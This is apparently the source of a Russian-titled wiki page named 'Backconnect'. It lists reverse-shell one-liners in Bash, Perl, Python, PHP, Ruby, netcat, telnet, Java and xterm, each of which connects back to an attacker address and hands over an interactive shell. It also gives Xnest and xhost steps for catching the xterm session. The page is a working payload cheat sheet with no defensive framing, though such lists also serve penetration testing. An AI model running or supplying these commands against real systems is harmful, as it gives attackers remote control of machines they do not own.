Просмотр исходного текста страницы Backconnect

Bash
<syntaxhighlight lang="bash" line="1" enclose="div">bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 2>&1</syntaxhighlight>



PERL
<syntaxhighlight lang="bash" line="1" enclose="div">perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</syntaxhighlight>

Python
<syntaxhighlight lang="bash" line="1" enclose="div">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</syntaxhighlight>


PHP
<syntaxhighlight lang="bash" line="1" enclose="div">php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'</syntaxhighlight>

Ruby
<syntaxhighlight lang="bash" line="1" enclose="div">ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</syntaxhighlight>

Netcat
<syntaxhighlight lang="bash" line="1" enclose="div">nc -e /bin/sh 10.0.0.1 1234</syntaxhighlight>

<syntaxhighlight lang="bash" line="1" enclose="div">rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f</syntaxhighlight>

<syntaxhighlight lang="bash" line="1" enclose="div">mknod backpipe p && nc 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe</syntaxhighlight>

Telnet

<syntaxhighlight lang="bash" line="1" enclose="div">mknod backpipe p && telnet 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe</syntaxhighlight>

<syntaxhighlight lang="bash" line="1" enclose="div">telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888</syntaxhighlight>

Java
<syntaxhighlight lang="java" line="1" enclose="div">r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
</syntaxhighlight>


xterm
<syntaxhighlight lang="bash" line="1" enclose="div">xterm -display 10.0.0.1:1</syntaxhighlight>


To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

<syntaxhighlight lang="bash" line="1" enclose="div">Xnest :1</syntaxhighlight>

You’ll need to authorise the target to connect to you (command also run on your host):

<syntaxhighlight lang="bash" line="1" enclose="div">xhost +targetip</syntaxhighlight>